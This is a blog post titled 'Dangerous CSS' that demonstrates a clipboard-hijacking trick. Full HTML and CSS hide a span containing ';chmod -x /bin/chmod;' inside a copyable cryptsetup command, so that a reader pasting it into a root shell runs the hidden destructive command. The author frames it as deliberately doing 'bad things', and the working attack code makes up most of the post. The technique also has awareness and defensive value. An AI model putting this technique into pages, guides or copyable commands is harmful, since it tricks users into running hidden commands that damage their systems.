---
layout: post
title: "Dangerous CSS: how to unnoticeably destroy *nix system"
date: 2014-01-25 23:16
comments: true
categories: [css]
cover: /images/cover/avatar.png
keywords: css, malicious, dangerous, trick, unix, linux, javascript, html, 
description: 
---

Let's do bad things. I've got an idea -- provide a nice looking 
Linux command on a blog/wiki. Yep, that's almost all.

Imagine you're setting up dm-crypt encryption. You'll find a guide
with commands ready to copy & paste into your terminal.
Almost all commands have to be run as root, that's good for me.
Something like this: 

{% codeblock lang:bash %}
cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash sha512 --iter-time 5000 --use-urandom --verify-passphrase luksFormat <device>
{% endcodeblock %}

Oh, almighty CSS, now it's your turn. Go to [this page](http://cinan.sk/pub/dangerous-css.html)
and copy the command. I added some javascript stuff to make text selecting
easier -- **javascript isn't required**. Now paste the copied text
somewhere. As you can see, there's bonus command (```chmod -x /bin/chmod```). Nice, isn't it?

Code, obviously:
{% codeblock lang:html %}
<html>
<head>
	<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
	<script src="http://code.jquery.com/jquery-migrate-1.2.1.js"></script>
	<script>
		// Makes selecting text easier
		jQuery.fn.selText = function() {
			var obj = this[0];
			if (jQuery.browser.msie) {
				var range = obj.offsetParent.createTextRange();
				range.moveToElementText(obj);
				range.select();
			} else if (jQuery.browser.mozilla || jQuery.browser.opera) {
				var selection = obj.ownerDocument.defaultView.getSelection();
				var range = obj.ownerDocument.createRange();
				range.selectNodeContents(obj);
				selection.removeAllRanges();
				selection.addRange(range);
			} else if (jQuery.browser.webkit) {
				var selection = obj.ownerDocument.defaultView.getSelection();
				selection.setBaseAndExtent(obj, 0, obj, obj.innerText.length - 1);
			}
			return this;
		}
		
		$(document).ready(function() {
			$('pre').click(function(e) {
				e.preventDefault();
				$(this).selText();
			})
		});
	</script>
	<style>
		*::selection {
			background: rgb(95, 196, 243);
		}
		
		/* INTERESTING PART */
		span {
			width: 1px; /* can't be 0px */
			white-space: nowrap;
			display: inline-block;
			overflow: hidden; /* text hiding */
			color: transparent; /* text hiding */
			vertical-align: middle;
			position: absolute;
		}
		
		pre {
			display: inline-block;
			white-space: nowrap;
			overflow: hidden;
			border: 1px solid #bcd;
			background-color: #ebf1f5;
			color: #222;
			font-family: monospace;
			line-height: 1.1em;
			padding: 1em;
		}
		
		pre:first-of-type {
			border-right: 0;
			padding-right: 0;
		}
		
		pre:last-of-type {
			border-left: 0;
			padding-left: 2ex;
		}
	</style>
<body>
	<pre>#</pre><pre>cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash 
		sha512 --iter-time 500<span>;chmod -x /bin/chmod; </span>0 --use-urandom --verify-passphrase luksFormat &lt;device&gt;
	</pre>
</body>
</html>
{% endcodeblock %}

What's happening here: I'm selecting ```pre``` content which also contains another
```span``` element.
Tested on Chromium, Firefox, Opera and Safari.
